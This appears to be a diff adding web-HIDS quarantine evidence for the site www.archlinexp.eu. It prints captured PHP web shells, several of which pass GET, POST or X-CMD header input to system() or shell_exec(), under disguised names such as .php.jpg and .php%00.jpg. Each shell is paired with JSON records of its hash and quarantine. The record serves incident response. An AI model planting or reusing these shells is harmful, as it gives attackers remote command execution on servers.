@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
|
||||||
|
if(isset($_REQUEST['c'])){system($_REQUEST['c']);}
|
||||||
|
elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}
|
||||||
|
elseif(isset($_POST['cmd'])){system($_POST['cmd']);}
|
||||||
|
elseif(isset($_SERVER['HTTP_X_CMD'])){system($_SERVER['HTTP_X_CMD']);}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4889",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:70pv0kju.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/70pv0kju.php.json)",
|
||||||
|
"original_sha256": "cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783364574,
|
||||||
|
"size": 291,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "70pv0kju.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json
Normal file
7
var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
|
||||||
|
if(isset($_REQUEST['c'])){system($_REQUEST['c']);}
|
||||||
|
elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}
|
||||||
|
elseif(isset($_POST['cmd'])){system($_POST['cmd']);}
|
||||||
|
elseif(isset($_SERVER['HTTP_X_CMD'])){system($_SERVER['HTTP_X_CMD']);}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4922",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:70pv0kju.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/70pv0kju.php5.json)",
|
||||||
|
"original_sha256": "cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783364575,
|
||||||
|
"size": 291,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "70pv0kju.php5.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json
Normal file
7
var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
echo "FLAMY_SHELL_".php_uname()."_".getcwd()."\n";
|
||||||
|
if(isset($_REQUEST['c'])){system($_REQUEST['c']);}
|
||||||
|
elseif(isset($_GET['x'])){echo shell_exec($_GET['x']);}
|
||||||
|
elseif(isset($_POST['cmd'])){system($_POST['cmd']);}
|
||||||
|
elseif(isset($_SERVER['HTTP_X_CMD'])){system($_SERVER['HTTP_X_CMD']);}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4836",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:70pv0kju.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/70pv0kju.phtml.json)",
|
||||||
|
"original_sha256": "cce5adca0042a81f4d31850d95a2e55b65ce8732ee9c63e3bc864bc4c1a995e8",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783364573,
|
||||||
|
"size": 291,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "70pv0kju.phtml.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4886",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php%00.jpg.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.jpg.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343525,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php%00.jpg.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4897",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php%00.txt.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php%00.txt.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343534,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php%00.txt.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4934",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.bak.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.bak.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343564,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php.bak.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4930",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.jpg.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.jpg.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343552,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php.jpg.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4928",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343421,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4860",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php.txt.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php.txt.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343558,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php.txt.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4938",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php4.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343435,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php4.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4926",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.php5.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343430,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.php5.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json
Normal file
1
var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4862",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:8j7txp50.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/8j7txp50.phtml.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343424,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "8j7txp50.phtml.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_hsojrm";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4868",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_6h0804r6.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_6h0804r6.php.json)",
|
||||||
|
"original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783841984,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_6h0804r6.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4866",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_ajhdpqok.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_ajhdpqok.php.json)",
|
||||||
|
"original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783744943,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_ajhdpqok.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_fhgucf";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4936",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_kgqxc7tj.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_kgqxc7tj.php.json)",
|
||||||
|
"original_sha256": "c5a291910c1c5c3d846e1d6764610c5ce35b5916ede2f39fce7ba795b3ba4849",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783743199,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_kgqxc7tj.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json
Normal file
7
var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
if (isset($_GET['x'])) {
|
||||||
|
echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
|
||||||
|
} else {
|
||||||
|
echo 'SUCCESS: Shell is ready. Use ?x=command';
|
||||||
|
}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4900",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_m28547fv.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_m28547fv.php.json)",
|
||||||
|
"original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784076470,
|
||||||
|
"size": 150,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_m28547fv.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_rwxfzw";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4861",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_qdjyeroc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_qdjyeroc.php.json)",
|
||||||
|
"original_sha256": "537445e14c909f954cf42ab038dc00d542626caa50c184ba074ae9798bbd1fe0",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783743971,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_qdjyeroc.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json
Normal file
1
var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "h3x_hsojrm";system($_GET["c"]);?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4892",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_v6hzbjh8.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_v6hzbjh8.php.json)",
|
||||||
|
"original_sha256": "1f41898baa990db755bfb3c877a9aeab02d98eb31d49fe508da9bde84c47239a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783841079,
|
||||||
|
"size": 45,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_v6hzbjh8.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
7
var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json
Normal file
7
var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
if (isset($_GET['x'])) {
|
||||||
|
echo '<pre>' . shell_exec($_GET['x']) . '</pre>';
|
||||||
|
} else {
|
||||||
|
echo 'SUCCESS: Shell is ready. Use ?x=command';
|
||||||
|
}
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4852",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_y6oge9dr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_y6oge9dr.php.json)",
|
||||||
|
"original_sha256": "e0695052bf49d85145ab86e59750b5930bdef9fbeb9e1d7db491416f1c55b644",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784076485,
|
||||||
|
"size": 150,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_y6oge9dr.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5105",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:administrator/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/8j7txp50.php.json)",
|
||||||
|
"original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783343479,
|
||||||
|
"size": 75,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/8j7txp50.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5111",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111744,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/cache/r0ps_v464ri.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5112",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_v464ri.php.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111724,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/cache/r0ps_v464ri.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5113",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784110132,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/cache/r0ps_zn8fgo.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json
vendored
Normal file
1
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
|
||||||
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json.evidence.json
vendored
Normal file
15
var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "5109",
|
||||||
|
"log_excerpt": "[quarantine] www.archlinexp.eu:administrator/cache/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/administrator/cache/r0ps_zn8fgo.php.json)",
|
||||||
|
"original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784110112,
|
||||||
|
"size": 74,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/cache/r0ps_zn8fgo.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160204Z",
|
||||||
|
"vhost": "www.archlinexp.eu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
